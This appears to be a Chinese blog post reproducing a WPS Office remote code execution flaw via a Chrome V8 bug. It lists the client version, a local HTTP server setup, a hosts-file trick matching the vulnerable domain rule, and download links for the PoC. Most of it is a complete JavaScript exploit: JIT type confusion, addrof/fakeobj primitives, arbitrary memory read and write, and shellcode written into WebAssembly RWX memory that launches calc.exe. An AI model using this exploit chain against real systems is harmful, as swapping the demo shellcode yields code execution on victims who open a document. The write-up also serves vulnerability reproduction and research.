WPS Office远程代码执行漏洞复现

据说这个漏洞是Chrome v8的漏洞，先给出微步的一个通告

https://mp.weixin.qq.com/s/pTOBtUKsOpNmwypR8Q7UGQ

下面讲一下复现：

测试客户端：WPS企业版V11.1.0.12650-release

测试环境：Win10虚拟机

测试网络环境：本地http服务，监听80端口

在1.html当前路径下启动http server并监听80端口，修改hosts文件（测试写死的）
127.0.0.1 clientweb.docer.wps.cn.cloudwps.cn
漏洞触发需让域名规则满足clientweb.docer.wps.cn.{xxxxx}wps.cn
cloudwps.cn和wps.cn没有任何关系

测试所用文件：链接：https://pan.baidu.com/s/1v_KyH1FF4MvAnb-7AZMuKA?pwd=iosy
提取码：iosy
–wps客户端

链接：https://pan.baidu.com/s/1ancQJ5EIL_utnh0jZduMXg?pwd=iosy
提取码：iosy
–wps漏洞利用poc

先贴出成功图：（成功弹出计算器 ）

• 

• 

• 下面是流程：
  安装好指定版本的wps客户端，本地部署好http环境，我是直接python命令

  python -m http.server 80

  注意，需要在poc目录下开启http环境
  poc html部分代码

  <script>
  if(typeof alert === "undefined"){
      alert = console.log;
  }
  
  let f64 = new Float64Array(1);
  let u32 = new Uint32Array(f64.buffer);
  
  function d2u(v) {
      f64[0] = v;
      return u32;
  }
  function u2d(lo, hi) {
      u32[0] = lo;
      u32[1] = hi;
      return f64[0];
  }
  
  function gc(){ // major
      for (let i = 0; i < 0x10; i++) {
          new Array(0x100000);
      }
  }
  
  function foo(bug) {
      function C(z) {
          Error.prepareStackTrace = function(t, B) {
              return B[z].getThis();
          };
          let p = Error().stack;
          Error.prepareStackTrace = null;
          return p;
      }
      function J() {}
      var optim = false;
      var opt = new Function(
          'a', 'b', 'c',
          'if(typeof a===\'number\'){if(a>2){for(var i=0;i<100;i++);return;}b.d(a,b,1);return}' +
          'g++;'.repeat(70));
      var e = null;
      J.prototype.d = new Function(
          'a', 'b', '"use strict";b.a.call(arguments,b);return arguments[a];');
      J.prototype.a = new Function('a', 'a.b(0,a)');
      J.prototype.b = new Function(
          'a', 'b',
          'b.c();if(a){' +
          'g++;'.repeat(70) + '}');
      J.prototype.c = function() {
          if (optim) {
              var z = C(3);
              var p = C(3);
              z[0] = 0;
              e = {M: z, C: p};
          }
      };
      var a = new J();
      // jit optim
      if (bug) {
          for (var V = 0; 1E4 > V; V++) {
              opt(0 == V % 4 ? 1 : 4, a, 1);
          }
      }
      optim = true;
      opt(1, a, 1);
      return e;
  }
  
  e1 = foo(false);
  e2 = foo(true);
  
  delete e2.M[0];
  
  let hole = e2.C[0];
  let map = new Map();
  map.set('asd', 8);
  map.set(hole, 0x8);
  
  map.delete(hole);
  map.delete(hole);
  map.delete("asd");
  
  map.set(0x20, "aaaa");
  let arr3 = new Array(0);
  let arr4 = new Array(0);
  let arr5 = new Array(1);
  let oob_array = [];
  oob_array.push(1.1);
  map.set("1", -1);
  
  let obj_array = {
      m: 1337, target: gc
  };
  
  let ab = new ArrayBuffer(1337);
  let object_idx = undefined;
  let object_idx_flag = undefined;
  
  let max_size = 0x1000;
  for (let i = 0; i < max_size; i++) {
      if (d2u(oob_array[i])[0] === 0xa72) {
          object_idx = i;
          object_idx_flag = 1;
          break;
      }if (d2u(oob_array[i])[1] === 0xa72) {
          object_idx = i + 1;
          object_idx_flag = 0;
          break;
      }
  }
  
  function addrof(obj_para) {
      obj_array.target = obj_para;
      let addr = d2u(oob_array[object_idx])[object_idx_flag] - 1;
      obj_array.target = gc;
      return addr;
  }
  
  function fakeobj(addr) {
      let r8 = d2u(oob_array[object_idx]);
      if (object_idx_flag === 0) {
          oob_array[object_idx] = u2d(addr, r8[1]);
      }else {
          oob_array[object_idx] = u2d(r8[0], addr);
      }
      return obj_array.target;
  }
  
  let bk_idx = undefined;
  let bk_idx_flag = undefined;
  for (let i = 0; i < max_size; i++) {
      if (d2u(oob_array[i])[0] === 1337) {
          bk_idx = i;
          bk_idx_flag = 1;
          break;
      }if (d2u(oob_array[i])[1] === 1337) {
          bk_idx = i + 1;
          bk_idx_flag = 0;
          break;
      }
  }
  
  let dv = new DataView(ab);
  function get_32(addr) {
      let r8 = d2u(oob_array[bk_idx]);
      if (bk_idx_flag === 0) {
          oob_array[bk_idx] = u2d(addr, r8[1]);
      } else {
          oob_array[bk_idx] = u2d(r8[0], addr);
      }
      let val = dv.getUint32(0, true);
      oob_array[bk_idx] = u2d(r8[0], r8[1]);
      return val;
  }
  
  function set_32(addr, val) {
      let r8 = d2u(oob_array[bk_idx]);
      if (bk_idx_flag === 0) {
          oob_array[bk_idx] = u2d(addr, r8[1]);
      } else {
          oob_array[bk_idx] = u2d(r8[0], addr);
      }
      dv.setUint32(0, val, true);
      oob_array[bk_idx] = u2d(r8[0], r8[1]);
  }
  
  function write8(addr, val) {
      let r8 = d2u(oob_array[bk_idx]);
      if (bk_idx_flag === 0) {
          oob_array[bk_idx] = u2d(addr, r8[1]);
      } else {
          oob_array[bk_idx] = u2d(r8[0], addr);
      }
      dv.setUint8(0, val);
  }
  
  let fake_length = get_32(addrof(oob_array)+12);
  set_32(get_32(addrof(oob_array)+8)+4,fake_length);
  
  let wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
  let wasm_mod = new WebAssembly.Module(wasm_code);
  let wasm_instance = new WebAssembly.Instance(wasm_mod);
  let f = wasm_instance.exports.main;
  
  let target_addr = addrof(wasm_instance)+0x40;
  let rwx_mem = get_32(target_addr);
  //alert("rwx_mem is"+rwx_mem.toString(16));
  
  const shellcode = new Uint8Array([0xfc, 0xe8, 0x82, 0x00, 0x00, 0x00, 0x60, 0x89, 0xe5, 0x31, 0xc0, 0x64, 0x8b, 0x50, 0x30,0x8b, 0x52, 0x0c, 0x8b, 0x52, 0x14, 0x8b, 0x72, 0x28, 0x0f, 0xb7, 0x4a, 0x26, 0x31, 0xff,0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0xc1, 0xcf, 0x0d, 0x01, 0xc7, 0xe2, 0xf2, 0x52,0x57, 0x8b, 0x52, 0x10, 0x8b, 0x4a, 0x3c, 0x8b, 0x4c, 0x11, 0x78, 0xe3, 0x48, 0x01, 0xd1,0x51, 0x8b, 0x59, 0x20, 0x01, 0xd3, 0x8b, 0x49, 0x18, 0xe3, 0x3a, 0x49, 0x8b, 0x34, 0x8b,0x01, 0xd6, 0x31, 0xff, 0xac, 0xc1, 0xcf, 0x0d, 0x01, 0xc7, 0x38, 0xe0, 0x75, 0xf6, 0x03,0x7d, 0xf8, 0x3b, 0x7d, 0x24, 0x75, 0xe4, 0x58, 0x8b, 0x58, 0x24, 0x01, 0xd3, 0x66, 0x8b,0x0c, 0x4b, 0x8b, 0x58, 0x1c, 0x01, 0xd3, 0x8b, 0x04, 0x8b, 0x01, 0xd0, 0x89, 0x44, 0x24,0x24, 0x5b, 0x5b, 0x61, 0x59, 0x5a, 0x51, 0xff, 0xe0, 0x5f, 0x5f, 0x5a, 0x8b, 0x12, 0xeb,0x8d, 0x5d, 0x6a, 0x01, 0x8d, 0x85, 0xb2, 0x00, 0x00, 0x00, 0x50, 0x68, 0x31, 0x8b, 0x6f,0x87, 0xff, 0xd5, 0xbb, 0xe0, 0x1d, 0x2a, 0x0a, 0x68, 0xa6, 0x95, 0xbd, 0x9d, 0xff, 0xd5,0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a,0x00, 0x53, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x00]);
  
  for(let i=0;i<shellcode.length;i++){
      write8(rwx_mem+i,shellcode[i]);
  }
  f();
  </script>

• 启动好http环境，后打开poc文档就会弹出计算器，同时执行了get请求，上图可以看到